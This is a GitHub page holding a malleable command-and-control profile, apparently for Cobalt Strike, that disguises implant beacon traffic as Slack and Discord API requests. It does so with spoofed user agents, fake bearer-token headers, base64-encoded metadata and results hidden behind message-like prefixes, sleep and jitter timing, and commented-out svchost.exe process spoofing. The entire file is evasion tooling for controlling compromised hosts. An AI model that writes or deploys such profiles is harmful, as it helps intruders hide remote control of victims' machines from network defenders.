-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathslack-discord.profile
75 lines (64 loc) · 1.67 KB
/
slack-discord.profile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# Author: @Dcodezero
set sample_name "Slack_Discord_Simulator";
set sleeptime "5000";
set jitter "20";
set host_stage "false";
set useragent "Slack/4.23.0 (Mac OS X 10.15.7)";
#https-certificate {
# set CN "slack.com";
# set O "Slack Technologies, LLC";
# set C "US";
# set validity "365";
#}
http-get {
set uri "/api/v9/channels/123456789/history";
set verb "POST"; # Changed verb to POST
client {
header "Authorization" "Bearer <bot-token>";
header "Accept" "application/json";
header "User-Agent" "Slack/4.23.0 (Mac OS X 10.15.7)";
metadata {
base64;
prepend "msg_";
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64;
prepend "response_";
print;
}
}
}
http-post {
set uri "/api/v9/channels/123456789/send";
set verb "POST";
client {
header "Authorization" "Bearer <user-token>";
header "Accept" "application/json";
header "Content-Type" "application/json";
header "User-Agent" "Discord/1.0 (Linux; Android 10; Scale/3.0)";
id {
prepend "session_";
append ".json";
uri-append; # Fixed collision by using uri-append
}
output {
base64;
prepend "msg_send_";
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64;
prepend "ack_";
print;
}
}
}
#set spawnto_x86 "%windir%\\System32\\svchost.exe";
#set spawnto_x64 "%windir%\\System32\\svchost.exe";